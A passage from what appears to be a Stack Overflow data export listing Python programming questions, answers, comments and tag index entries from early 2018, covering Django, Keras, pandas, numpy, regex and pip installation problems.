355910 | 356010 | - | 0.03694752911338561 | 999999 | # +--------------+-----------+-----------+--------------+----------------------+-----------+ # Stranded PyRanges object has 1,000,000 rows and 6 columns from 25 chromosomes. # For printing, the PyRanges was sorted on Chromosome and Strand. Execution: def praderas(df): grpby = df.groupby("Cluster") prob = grpby.probability.sum() prob.name = "ProbSum" n = grpby.read.count() n.name = "Count" return df.merge(prob, on="Cluster").merge(n, on="Cluster") %time result = gr.cluster().apply(praderas) # 11.4s ! result[result.Count &gt; 2] # +--------------+-----------+-----------+--------------+----------------------+-----------+-----------+--------------------+-----------+ # | Chromosome | Start | End | Strand | probability | read | Cluster | ProbSum | Count | # |…
type: Answer
has comment: http://stackoverflow.com/comment/103431578
score: 2

http://stackoverflow.com/q/48775462
has comment: http://stackoverflow.com/comment/84552730
tagged with: digital-ocean
score: 0
has title: Any way for me to receive DEBUG log/traceback whilst DEBUG is set to FALSE?
answer count: 1
has answer: http://stackoverflow.com/a/48776108
has body: I'm running my live Django server on Digital Ocean so have DEBUG=FALSE. Is there any way I can see DEBUG errors? Some function which emails me the traceback or something?
type: UnansweredQuestion
tagged with: django
tagged with: python
linked to: http://stackoverflow.com/q/19289925
type: Question

http://stackoverflow.com/comment/84389404
score: 0
type: AnswerComment
type: Comment
has text: Is this specific to having 10 major ticks though? Is there a way to do this more generally?
comment on: http://stackoverflow.com/a/48695332

http://stackoverflow.com/q/48745785
type: Question
tagged with: keras
tagged with: batch-normalization
tagged with: deep-learning
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/84510865
type: UnansweredQuestion
tagged with: python
score: 3
answer count: 0
has title: Predictions Incorrect For Trained Keras Model
upvote count: 3
has body: I have trained an image classifier CNN for 50 epochs and achieved 65% accuracy with 64% accuracy on the validation data. My problem is when using model.predict on a single sample (one image) the network behaves as though it is untrained. I fed model.predict thousands of images, one at a time and the average classification accuracy was only 46%. I tried using both model.save_model and saving the json model and weights separately, but there was no difference. My only thought as to why this is occurring is to do with the BatchNorm layers in my model effecting the consistency of the data. My model contains six CNN layers, with three max pooling and one final fully connected layer, with a BatchNormalisation layer between every layer (seven in total). I used a batch size of 128 during training, but of course the batch size for the prediction samples is 1. I don't know much about BatchNorm, but I wonder if there is some kind of normalisation that is happening on the training and testing data but not on the predictions?

http://stackoverflow.com/comment/84574448
type: Comment
type: QuestionComment
has text: You get a string when you do `input`. Cast it to an int like `in_num = int(input('Enter number'))`
score: 0
comment on: http://stackoverflow.com/q/48786528

http://stackoverflow.com/comment/84322194
comment on: http://stackoverflow.com/q/48651692
has text: Yes, I meant move as in to relocate in the screen
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48718841
downvote count: 0
has comment: http://stackoverflow.com/comment/84437221
answers question: http://stackoverflow.com/q/48718065
has comment: http://stackoverflow.com/comment/84437662
type: Answer
has comment: http://stackoverflow.com/comment/84437017
score: 1
has comment: http://stackoverflow.com/comment/84437639
has comment: http://stackoverflow.com/comment/84437197
upvote count: 1
has comment: http://stackoverflow.com/comment/84436981
has comment: http://stackoverflow.com/comment/84437004
has body: Don't use .format() to create the query, that allows for SQL-injection. Use Cursor.execute() with placeholders and a tuple of values. If you're using MySQL Connector, it looks like this: import mysql.connector cnx = mysql.connector.connect(database='world') cur = cns.cursor() cur.execute("SELECT colB FROM tableA WHERE id = %s", (id)) colB = cur.fetchone()[0]

http://stackoverflow.com/q/48721483
has body: I have just installed Python 2.6.6 64-bit. I first had problems on Python command line because of an encoding bug which I think I solved it based on instructions mentioned in: Windows command line encoding causes Python crash. Then I tried to install pip using admin's Windows powershell after reading instructions provided in: How to install Python pip and PyPA pip installation manual. It failed and I received this in shell: Exception: Traceback (most recent call last): File "c:\users\u068\appdata\local\temp\tmpk0wofk\pip.zip\pip\basecommand.py", line 215, in main status = self.run(options, args) File "c:\users\u068\appdata\local\temp\tmpk0wofk\pip.zip\pip\commands\install.py", line 324, in run requirement_set.prepare_files(finder) File "c:\users\u068\appdata\local\temp\tmpk0wofk\pip.zip\pip\req\req_set.py", line 380, in prepare_files ignore_dependencies=self.ignore_dependencies)) File "c:\users\u068\appdata\local\temp\tmpk0wofk\pip.zip\pip\req\req_set.py", line 620, in _prepare_file session=self.session, hashes=hashes) File "c:\users\u068\appdata\local\temp\tmpk0wofk\pip.zip\pip\download.py", line 821, in unpack_url hashes=hashes File "c:\users\u068\appdata\local\temp\tmpk0wofk\pip.zip\pip\download.py", line 659, in unpack_http_url hashes) File "c:\users\u068\appdata\local\temp\tmpk0wofk\pip.zip\pip\download.py", line 882, in _download_http_url _download_url(resp, link, content_file, hashes) File "c:\users\u068\appdata\local\temp\tmpk0wofk\pip.zip\pip\download.py", line 603, in _download_url hashes.check_against_chunks(downloaded_chunks) File "c:\users\u068\appdata\local\temp\tmpk0wofk\pip.zip\pip\utils\hashes.py", line 46, in check_against_chunks for chunk in chunks: File "c:\users\u068\appdata\local\temp\tmpk0wofk\pip.zip\pip\download.py", line 571, in written_chunks for chunk in chunks: File "c:\users\u068\appdata\local\temp\tmpk0wofk\pip.zip\pip\utils\ui.py", line 141, in iter self.next(n) File "c:\users\u068\appdata\local\temp\tmpk0wofk\pip.zip\pip\_vendor\prog…
linked to: http://stackoverflow.com/q/878972
downvote count: 0
linked to: http://stackoverflow.com/q/4750806
score: 1
favorite count: 0
type: UnansweredQuestion
tagged with: windows
has comment: http://stackoverflow.com/comment/84441825
tagged with: pip
tagged with: python
answer count: 0
tagged with: setuptools
has comment: http://stackoverflow.com/comment/84441881
upvote count: 1
type: Question
has title: Failure trying to install Python 2.x pip & setuptools on MS Windows 7.0
tagged with: powershell

http://stackoverflow.com/a/48774803
score: 2
accepted answer of: http://stackoverflow.com/q/48774637
has body: This is where numpy shines: import numpy as np L = np.array([0,1,2,3,4,5,6,7,8,9]) T1 = [0,0,1,0,0,1,0,0,1,0] T2 = [1,0,1,0,1,0,1,0,1,0] mask = np.logical_and(T1, T2) print(L[mask].tolist()) # [2, 8]
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48774637
upvote count: 2

http://stackoverflow.com/comment/84302476
has text: Is your original list guaranteed to be already sorted. In other words, does it have the structure `[1, 2, 3, -1, -2, -3, ...]`?
comment on: http://stackoverflow.com/q/48652109
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48686629
has body: You can use a try-finally statement. camera = Camera() stage = Stage() try: # do stuff finally: camera.close() stage.close()
downvote count: 0
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/48686529

http://stackoverflow.com/comment/84312658
has text: Also see https://www.geeksforgeeks.org/maximum-size-sub-matrix-with-all-1s-in-a-binary-matrix/
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48656982

http://stackoverflow.com/q/48701666
downvote count: 0
has answer: http://stackoverflow.com/a/50398932
has title: Save tensorflow checkpoint to .pb protobuf file
has body: I have trained a pix2pix model on tensorflow and the model has been saved in the form of checkpoints with the following files: model-15000.meta, model-15000.index, model-15000.data-00000-of-00001, graph.pbtxt, checkpoint. Now, I want to convert it to a protobuf file (.pb) for deployment purposes. I came across the freeze_graph.py script to do so, but I am facing trouble with one of the arguments, it being output_node_names. I have tried out a couple of layer names, but I get the following error: AssertionError: generator/decoder_2/batchnorm/scale/gradients is not in graph Unsure how to find the output_node_names
has answer: http://stackoverflow.com/a/48711214
favorite count: 0
tagged with: protocol-buffers
type: UnansweredQuestion
tagged with: python
tagged with: conv-neural-network
upvote count: 5
type: Question
answer count: 2
score: 5

http://stackoverflow.com/q/48654631
possible better answer: http://stackoverflow.com/a/48656109
accepted answer: http://stackoverflow.com/a/48656104
type: Question
upvote count: 2
tagged with: numpy
has comment: http://stackoverflow.com/comment/84307885
answer count: 2
tagged with: polygon
has answer: http://stackoverflow.com/a/48656109
has answer: http://stackoverflow.com/a/48656104
favorite count: 0
has comment: http://stackoverflow.com/comment/84307908
linked to: http://stackoverflow.com/q/20677795
tagged with: python
has body: I have a polygon vector formatted as follows (x1,y1,x2,y2, ...., xn,yn). As an example, consider this polygon array: polyPoints = [3,5,7,8,9,5] How do I get all the indices (or the coordinates) that are within the polygon generated from these points ? The answers I looked so far requires you to create the 2D mask before you can get the indices within the polygon.
downvote count: 0
has title: numpy: get the indices within a polygon without creating a mask
score: 2
type: AnsweredQuestion
tagged with: 2d
has comment: http://stackoverflow.com/comment/84309150
has comment: http://stackoverflow.com/comment/84308706

http://stackoverflow.com/q/48786675
has title: JSON file created using Pandas is bigger than the original Excel file
tagged with: python
has comment: http://stackoverflow.com/comment/84577620
has comment: http://stackoverflow.com/comment/84577149
answer count: 0
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/json
type: Question
score: 0
tagged with: pandas
has comment: http://stackoverflow.com/comment/84577861
has body: I wanted to convert my Excel data to JSON as JSON is very light in weight. I tried with a simple Excel file, and its size is 8KB, but my converted JSON file size is 17KB. Why is the JSON file bigger? I assumed it would be smaller. I tried with: df=pd.read_excel("path/myfile.xlsx") df.to_json("path/myfile.json")

http://stackoverflow.com/a/48804007
has body: The reason you are getting the error is that you're missing the folder argument when calling the function. test = Parallel()(delayed(sum_row)(count_series, path, folder, files_1, files_2, files_3, path_raw, i) for i in range(len(files_1)))
upvote count: 1
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/48803736
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/48803736

http://stackoverflow.com/a/48666858
upvote count: 3
has comment: http://stackoverflow.com/comment/84405174
has comment: http://stackoverflow.com/comment/84534305
has body: Another O(n) solution, but a bit more pythonic, giving up a bit of performance (iterating 4 times over the list) l = [1, 2, 5, 2, 7, 3, 9, 5] # find largest largest = max(l) # remove from list l.remove(largest) # second largest largest2 = max(l) # remove from list l.remove(largest2) print(largest+largest2) &gt;&gt; 16 And to make it a bit more compact, the exact same process in one line: l = [1, 2, 5, 2, 7, 3, 9, 5] l.pop(l.index(max(l))) + l.pop(l.index(max(l))) print(largest+largest2) &gt;&gt; 16
downvote count: 0
has comment: http://stackoverflow.com/comment/84333453
has comment: http://stackoverflow.com/comment/84331328
type: Answer
answers question: http://stackoverflow.com/q/48666460
score: 3

http://stackoverflow.com/q/48699898
has title: How to Share Variable Across the in-class def in Python
type: Question
has body: class Dataframe: #Recommended to instatiate your dataframe with your csv name. """ otg_merge = Dataframe("/Users/zachary/Desktop/otg_merge.csv") #instaiate as a pandas dataframe """ def __init__(self, filepath, filename = None): pd = __import__('pandas') #import pandas when the class is instatiated self.filepath = filepath self.filename = filename def df(self): #it makes the DataFrame df = pd.read_csv(self.filepath, encoding = "cp949", index_col= 0) #index col is not included return df def shape(self): #it returns the Dimension of DataFrame shape = list(df.shape) return shape def head(self): #it reutrns the Head of Dataframe primer = pd.DataFrame.head(df) del primer["Unnamed: 0"] return primer def cust_types(self): #it returns the list of cust_type included in .csv cust_type = [] for i in range(0, shape[0]): if df.at[i, "cust_type"] not in cust_type: #if it's new.. cust_type.append(df.at[i, "cust_type"]) #append it as a new list element return cust_type I am doing some wrapping pandas functions wrapping for whom doesn't necessarily need to know the pandas. If you see the code, at the third def, shape returns shape as a list of such as [11000, 134] as a xdim and ydim. Now I'd like to use the shape again at the last def cust_types, however,, it returns the shape is not defined. How can I share the variable "share" across defs in the same class? intersetingly, I didn't do nth, but the df is shared from second df to thrid shape without error
answer count: 1
tagged with: class
score: 0
accepted answer: http://stackoverflow.com/a/48700567
has comment: http://stackoverflow.com/comment/84398538
tagged with: pandas
tagged with: python
has comment: http://stackoverflow.com/comment/84398984
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84398612
has answer: http://stackoverflow.com/a/48700567

nlp
tags question: http://stackoverflow.com/q/48646495
tags question: http://stackoverflow.com/q/48783245
tags question: http://stackoverflow.com/q/48789043
tags question: http://stackoverflow.com/q/48754613
tags question: http://stackoverflow.com/q/48657359
tags question: http://stackoverflow.com/q/48783876
tags question: http://stackoverflow.com/q/48679734
tags question: http://stackoverflow.com/q/48693804
tags question: http://stackoverflow.com/q/48660547
tags question: http://stackoverflow.com/q/48721152
tags question: http://stackoverflow.com/q/48733918
tags question: http://stackoverflow.com/q/48743444
tag name: nlp
tags question: http://stackoverflow.com/q/48705138
type: Tag
tags question: http://stackoverflow.com/q/48714416

http://stackoverflow.com/comment/84596731
type: AnswerComment
score: 0
type: Comment
has text: Thanks for the help! Could you possibly direct me to a link/guide or some documentation as to how I go about implementing the multi-scale section you mentioned? Thanks
comment on: http://stackoverflow.com/a/48795675

http://stackoverflow.com/comment/84335684
type: QuestionComment
has text: So you want one number with those digits? `int(''.join([str(math.floor(random.uniform(1,5))) for _ in range(10)]))`
comment on: http://stackoverflow.com/q/48668884
score: 0
type: Comment

http://stackoverflow.com/comment/84342351
score: 2
has text: `df.apply(my_fun, axis=0)` is not returning two values. Return the value of that function to a single variable, then check/assign that result accordingly.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48672072

http://stackoverflow.com/a/48791472
type: Answer
answers question: http://stackoverflow.com/q/48791132
has comment: http://stackoverflow.com/comment/84585860
accepted answer of: http://stackoverflow.com/q/48791132
has comment: http://stackoverflow.com/comment/84585515
has comment: http://stackoverflow.com/comment/84585751
has comment: http://stackoverflow.com/comment/84609012
score: 0
has body: I hope I get what you want. With the following code you grab what is in-between the date(): import re pattern = re.compile(r"date\((.*)\)") string = "I am seaching for the date(whatever is in here)" results = pattern.finditer(string) print(results) for i in results: print(i.group(1)) You do not provide your regex, but I would suspect, that you did not escape the brackets. \( vs. (
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84587281

task
type: Tag
tag name: task
tags question: http://stackoverflow.com/q/48739300

http://stackoverflow.com/q/48651468
type: Question
downvote count: 0
has title: Hourly time series in minutes between two timestamps using Pandas
favorite count: 0
has answer: http://stackoverflow.com/a/48653261
answer count: 3
tagged with: pandas
tagged with: python
has body: I have a range of timestamps with start time and end time. I would like to generate the number of minutes per hour between the two timestamps: import pandas as pd start_time = pd.to_datetime('2013-03-26 21:49:08',infer_datetime_format=True) end_time = pd.to_datetime('2013-03-27 05:21:00, infer_datetime_format=True) pd.date_range(start_time, end_time, freq='h') which gives: DatetimeIndex(['2013-03-26 21:49:08', '2013-03-26 22:49:08', '2013-03-26 23:49:08', '2013-03-27 00:49:08', '2013-03-27 01:49:08', '2013-03-27 02:49:08', '2013-03-27 03:49:08', '2013-03-27 04:49:08'], dtype='datetime64[ns]', freq='H') Sample result: I would like to compute the number of minutes bounded by the hour between the start and end times, like below: 2013-03-26 21:00:00' - 10m 52secs 2013-03-26 22:00:00' - 60 m 2013-03-26 23:00:00' - 60 m 2013-03-27 05:00:00' - 21 m I have looked at pandas resample, but not exactly sure how to achieve this. Any direction is appreciated.
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/37890391
upvote count: 1
has answer: http://stackoverflow.com/a/48654305
has answer: http://stackoverflow.com/a/48651620
tagged with: timestamp
tagged with: time-series
score: 1

http://stackoverflow.com/comment/84311439
comment on: http://stackoverflow.com/q/48655372
has text: `os.system` expects you to know how to use your shell, i.e. you are expected to read the help text from `cmd /?`. If you read that help, this problem should be obvious. `cmd /c` strips the first and last quote off in your case (i.e. the "old behavior" scenario). If you use `subprocess.Popen` with `shell=True` and the command passed as a string (do not use an args list with `shell=True`), then this shouldn't be a problem because it quotes the whole command, which of course you can also do manually with `os.system`.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/84457260
type: QuestionComment
has text: @lrh09: I’ll give you a hint: `j = 100 - i`. Then you can do the rest as nested loops (or equivalent) in time proportional to the size of the list, which is as good as it’s going to get as long as you’re asking for the results in a list.
comment on: http://stackoverflow.com/q/48728737
score: 0
type: Comment

regex
tags question: http://stackoverflow.com/q/48666518
tags question: http://stackoverflow.com/q/48753084
tags question: http://stackoverflow.com/q/48669230
tags question: http://stackoverflow.com/q/48780482
tags question: http://stackoverflow.com/q/48739128
tags question: http://stackoverflow.com/q/48671512
tags question: http://stackoverflow.com/q/48755686
tags question: http://stackoverflow.com/q/48732515
tags question: http://stackoverflow.com/q/48728628
tags question: http://stackoverflow.com/q/48652719
tags question: http://stackoverflow.com/q/48795549
tags question: http://stackoverflow.com/q/48803166
tags question: http://stackoverflow.com/q/48698379
tags question: http://stackoverflow.com/q/48792443
tags question: http://stackoverflow.com/q/48795335
tags question: http://stackoverflow.com/q/48714306
tags question: http://stackoverflow.com/q/48689931
tags question: http://stackoverflow.com/q/48664007
tag name: regex
tags question: http://stackoverflow.com/q/48690874
tags question: http://stackoverflow.com/q/48798776
tags question: http://stackoverflow.com/q/48723839
tags question: http://stackoverflow.com/q/48748031
tags question: http://stackoverflow.com/q/48731715
tags question: http://stackoverflow.com/q/48676017
tags question: http://stackoverflow.com/q/48703979
tags question: http://stackoverflow.com/q/48675854
tags question: http://stackoverflow.com/q/48674874
tags question: http://stackoverflow.com/q/48715639
tags question: http://stackoverflow.com/q/48687804
tags question: http://stackoverflow.com/q/48803325
tags question: http://stackoverflow.com/q/48779519
tags question: http://stackoverflow.com/q/48773395
tags question: http://stackoverflow.com/q/48754449
tags question: http://stackoverflow.com/q/48748501
tags question: http://stackoverflow.com/q/48662028
tags question: http://stackoverflow.com/q/48672653
tags question: http://stackoverflow.com/q/48649999
tags question: http://stackoverflow.com/q/48748913
tags question: http://stackoverflow.com/q/48652163
tags question: http://stackoverflow.com/q/48657526
tags question: http://stackoverflow.com/q/48656774
tags question: http://stackoverflow.com/q/48694856
tags question: http://stackoverflow.com/q/48705517
tags question: http://stackoverflow.com/q/48648359
tags question: http://stackoverflow.com/q/48672985
tags question: http://stackoverflow.com/q/48797147
tags question: http://stackoverflow.com/q/48738342
tags question: http://stackoverflow.com/q/48775231
tags question: http://stackoverflow.com/q/48712081
tags question: http://stackoverflow.com/q/48653731
tags question: http://stackoverflow.com/q/48770528
tags question: http://stackoverflow.com/q/48675282
tags question: http://stackoverflow.com/q/48692276
tags question: http://stackoverflow.com/q/48724926
tags question: http://stackoverflow.com/q/48738060
tags question: http://stackoverflow.com/q/48781307
tags question: http://stackoverflow.com/q/48697161
tags question: http://stackoverflow.com/q/48750204
tags question: http://stackoverflow.com/q/48693495
tags question: http://stackoverflow.com/q/48772464
tags question: http://stackoverflow.com/q/48744241
tags question: http://stackoverflow.com/q/48749174
tags question: http://stackoverflow.com/q/48791132
tags question: http://stackoverflow.com/q/48693804
tags question: http://stackoverflow.com/q/48696269
tags question: http://stackoverflow.com/q/48663302
tags question: http://stackoverflow.com/q/48786489
tags question: http://stackoverflow.com/q/48759223
tags question: http://stackoverflow.com/q/48739640
tags question: http://stackoverflow.com/q/48752066
tags question: http://stackoverflow.com/q/48730327
tags question: http://stackoverflow.com/q/48762524
tags question: http://stackoverflow.com/q/48797409
tags question: http://stackoverflow.com/q/48701842
tags question: http://stackoverflow.com/q/48705618
tags question: http://stackoverflow.com/q/48688415
tags question: http://stackoverflow.com/q/48652834
tags question: http://stackoverflow.com/q/48680622
tags question: http://stackoverflow.com/q/48658276

http://stackoverflow.com/comment/84594058
score: 0
has text: If your values are hashable, there's an easy solution using [`Counter`](https://docs.python.org/3/library/collections.html#collections.Counter)
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48795768

http://stackoverflow.com/comment/84307188
has text: what if the last step is 0? I guess it doesn't move? and if it's 2 then it moves to the left two at a time?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48654530
type: AnswerComment

http://stackoverflow.com/comment/84506798
type: AnswerComment
has text: @J.J.Hakala exactly, but why is it so fast on Linux?
type: Comment
comment on: http://stackoverflow.com/a/48726957
score: 0

http://stackoverflow.com/q/48757322
has comment: http://stackoverflow.com/comment/84525291
has answer: http://stackoverflow.com/a/48758107
type: Question
answer count: 2
upvote count: 0
has body: I have made a sort of cookie clicker like game in pygame, however when I click the mouse once loads of points are added to the score. I assume this is because of the game loop, however I would like to know how to make this stop, and make it add 1 to the score for every click, no matter how long the mouse button is held down.
has comment: http://stackoverflow.com/comment/84516411
has answer: http://stackoverflow.com/a/48757420
has title: MOUSEBUTTON events in pygame
tagged with: python
tagged with: pygame
score: -2
has comment: http://stackoverflow.com/comment/84517213
favorite count: 0
tagged with: python-3.x
type: UnansweredQuestion
downvote count: 2

http://stackoverflow.com/a/48724928
type: Answer
score: 1
has body: It looks like that package always builds from source. I see on the install page: In the future, we plan to have binary distributions of CliMT. I'd suggest opening an issue on the GitHub project mentioning the use-case for binary wheels.
upvote count: 1
answers question: http://stackoverflow.com/q/48721438
downvote count: 0

http://stackoverflow.com/q/48651820
tagged with: python
has title: Run Command from Directory
answer count: 0
has comment: http://stackoverflow.com/comment/84304433
tagged with: image-processing
tagged with: tensorflow
type: Question
score: 0
has body: I've been programming an AI for a while now, and I need the capacity to interact with Google's TensorFlow Object Detection API locally. I downloaded TensorFlow through Anaconda, and I'm having trouble with this step: # From tensorflow/models/research/ protoc object_detection/protos/*.proto --python_out=. I'm on Windows, and I'm not sure how to run this from that directory using Anaconda. I cannot use Command Prompt for this task.
has comment: http://stackoverflow.com/comment/84311855
tagged with: python-3.x
type: UnansweredQuestion

http://stackoverflow.com/comment/84522104
comment on: http://stackoverflow.com/a/48760395
has text: @debashish: Oops, I accidentally trimmed it out when formatting the output. I edited my example to include it, and make the `print` a bit more informative so the connection is more clear.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/84472007
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48721808
has text: it's jython.jar in the docker image classpath?
score: 0

http://stackoverflow.com/comment/84394915
has text: I tried `"%*"` and it put the quotes around the whole of the command tail - i.e. it just rendered them verbatim.
comment on: http://stackoverflow.com/a/48697863
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/84377349
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48689348
has text: hi Psidom thank you for your answer. When I try to run it in my pyspark jupyter notebook it is throwing me an error saying reference id' is ambiguous, could be: 'id#57' etc
score: 0

http://stackoverflow.com/comment/84438892
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48716681
type: AnswerComment
has text: @JohnZwinck I think the `.reduce` operation - or `ufunc`s in general - cannot directly use array-like operands like your tuple `(spot, upleft, left, up)`, so it will first create an array of dimensions `(4, *spot.shape)` and then do the reduction.

http://stackoverflow.com/comment/84594140
type: QuestionComment
has text: Are the numbers always at the end?
comment on: http://stackoverflow.com/q/48795335
score: 0
type: Comment

http://stackoverflow.com/comment/84359126
score: 0
comment on: http://stackoverflow.com/a/48680683
type: AnswerComment
has text: It occurs another issue. I fixed code, seems everything will be fine. But commentCount Column is disappered. What should I do?
type: Comment

http://stackoverflow.com/q/48721266
has title: Python+CMD+tasklist (windows)
has body: import os os.system('tasklist') How do I extract anything from this command? It shows all the tasks, but when I do print(os.system('tasklist')) it prints out 0. Is it possible to make this code useful?
tagged with: python-3.x
upvote count: 1
has answer: http://stackoverflow.com/a/48721329
type: AnsweredQuestion
tagged with: command-prompt
score: 1
type: Question
tagged with: taskmanager
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/48721329
favorite count: 0
tagged with: windows
tagged with: python

http://stackoverflow.com/q/48675854
upvote count: 1
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84350223
accepted answer: http://stackoverflow.com/a/48676093
type: Question
has answer: http://stackoverflow.com/a/48680727
downvote count: 0
has comment: http://stackoverflow.com/comment/84356966
favorite count: 0
answer count: 3
possible better answer: http://stackoverflow.com/a/48676193
has answer: http://stackoverflow.com/a/48676193
tagged with: regex
score: 1
has answer: http://stackoverflow.com/a/48676093
has comment: http://stackoverflow.com/comment/84387868
tagged with: python-3.x
has title: Extracting digits on a line below a specific line with a regex?
has body: If I have the following lines within a text file: 5 HIV serotype 2 3838 28282 4949 383 292 1012 10 SIV unknown serotype 3939 433 332 3222 122 3221 222 345 433 393 303 ...and I wanted to extract the digits from below the 5 HIV serotype line AND above the 10 SIV unknown serotype line, I assumed the following would work: import re with open('test.dat', 'r') as f: line = line.strip() if re.match('\d\s+HIV.*?(\d+)', line, re.MULTILINE): print(re.match()) However, nothing is returned. Thank you.

http://stackoverflow.com/a/48743135
score: 0
has comment: http://stackoverflow.com/comment/84529100
type: Answer
has body: Neighborhood can be represented by a graph. If N is a neighbor of B does not necessarily implies that B is a neighbor of A, it is directed. Else it is undirected. I'm guessing you want a undirected graph since you want to "keep in mind the relationship between the nodes". Besides the obvious choice of using a third party library for graphs, you can solve your issue by using a set of edges between the graph vertices. Edges can be represented by the pair of their two extremities. Since they are undirected, either you use a tuple (A,B), such that A &lt; B or you use a frozenset((A,B)). Note there are considerations to take about what neighbor to randomly choose from when in the middle of the algorithm, like discouraging to pick nodes with a lot of neighbor to avoid to go over your limits. Here is a pseudo-code of what I'd do. edges = set() arities = [ 0 for p in para ] for i in range(len(para)): p = para[i] arity = arities[i] n = random.randrange(50, 100) k = n while k &gt; 0: w = list(map(lambda x : 1/x, arities)) #note: test what random scheme suits you best j = random.choices(para, weight = w ) #note: I'm storing the vertices index in the edges rather than the nodes. #But if the nodes are unique, you could store the nodes. e = frozenset((i,j)) if e not in edges: edges.add(e) #instead of arities, you could have a list of list of the neighbours. #arity[i] would be len(neighbors[i]), then arities[i] += 1 arities[j] += 1 k-=1
answers question: http://stackoverflow.com/q/48740895
has comment: http://stackoverflow.com/comment/84507824

http://stackoverflow.com/q/48715639
score: -2
tagged with: list-comprehension
has answer: http://stackoverflow.com/a/48715669
has title: Condensed Return Statement in Python
answer count: 1
has comment: http://stackoverflow.com/comment/84430699
has comment: http://stackoverflow.com/comment/84430619
favorite count: 0
has body: I'm working on an assignment for class where I'm using regular expressions to return the locations of all pattern matches in the specified string. If there are matches, I am to return the indices, and if no matches are found, I need to return None. I have done this successfully but would like to put the entire expression into a single line, as I have attempted to do in the commented return statements. def searchMotif(sequence, motif): if not type(motif) is str: raise Exception("Invalid Motif") #matches = re.finditer(motif, sequence) #indices = [(match.start(), match.end()) for match in matches] indices = [(match.start(), match.end()) for match in re.finditer(motif, sequence)] if indices: return indices else: return None #return [(match.start(), match.end()) for match in matches] #return [(match.start(), match.end()) for match in re.finditer(motif, sequence)] Ideally, I would like to have a statement that reads similar to return [(match.start(), match.end() for match in re.finditer(motif, sequence)] else None. I know this syntax is incorrect, but I hope it gets across what I am trying to achieve. I am new to both regular expressions and list comprehension, so I'm not certain if you can use an if statement within my list comprehension. Is it possible to populate a list via a Regex iterator and check if it's empty in a return statement?
has comment: http://stackoverflow.com/comment/84430626
tagged with: python
tagged with: regex
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48715669
has comment: http://stackoverflow.com/comment/84430664
downvote count: 3
has comment: http://stackoverflow.com/comment/84430578
upvote count: 1
type: Question

django-urls
tags question: http://stackoverflow.com/q/48655869
type: Tag
tag name: django-urls
tags question: http://stackoverflow.com/q/48729966

http://stackoverflow.com/a/48663619
type: Answer
score: 3
accepted answer of: http://stackoverflow.com/q/48663540
answers question: http://stackoverflow.com/q/48663540
has body: Nothing is guaranteed. You can make anything equals to anything else by implementing __eq__. Unless you know what x is, nothing is guaranteed and nothing can be assumed. For example: class A: def __eq__(self, other): return True print(A() == object()) # True And the contrary: class A: def __eq__(self, other): return False print(A() == object()) # False
has comment: http://stackoverflow.com/comment/84325202
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84325374
upvote count: 3

http://stackoverflow.com/a/48723016
has body: Load the file into a string, strip the new-line, use ast.literal_eval to convert the string to a list, append "test" and finally write to the same file after passing the list into the str() function: import ast l = ast.literal_eval(open("youtube.txt").read().strip()) l.append("test") open("youtube.txt", "w").write(str(l))
score: 0
accepted answer of: http://stackoverflow.com/q/48722859
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84459327
type: Answer
answers question: http://stackoverflow.com/q/48722859

http://stackoverflow.com/comment/84466020
has text: What happens when you swap the order of parameters in the first example in your last code block: `func(**{'b': 3, 'other': 3, 'a':2})`? I think this is the issue. 'a' is no longer the first parameter.
score: 1
comment on: http://stackoverflow.com/a/48733342
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/84336804
comment on: http://stackoverflow.com/a/48648665
score: 0
type: Comment
has text: I mean for website data i can use pg or mysql
type: AnswerComment

http://stackoverflow.com/a/48653525
has body: First of all, remove: import tkinter as tk as you're never using it. Secondly, remove: root.mainloop() and add: from tkinter import * # this is here only to show indentation level ... mainloop() as the very last line in the outermost scope, so that it no longer blocks the expressions underneath. Thirdly, move the call of your method to the main-body of the script. Remove: text_message(2,3) and put: from tkinter import * # this is here only to show indentation level ... text_message(2,3) Then, run your code and read the errors which you can fix by replacing: for answer in answer1: ... for answer in answer2: with: for answer in range(answer1): ... for answer in range(answer2): And voilà you should have what you wanted. To answer the general question of: "How to display widgets stacked while being right or left justified?" I believe your approach of, encapsulating the widget in a frame that expands and fills, while stacking the widget to the right or left(justification part) in the frame, is a good one.
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/48653158
downvote count: 0
type: Answer

http://stackoverflow.com/comment/84567861
has text: Yes, you can use parent attributes to make your locator more specific
comment on: http://stackoverflow.com/q/48782458
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/84460293
has text: Relevant example from the docs: http://docs.sqlalchemy.org/en/latest/orm/tutorial.html#explicit-join-eagerload
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48730154

http://stackoverflow.com/a/48777868
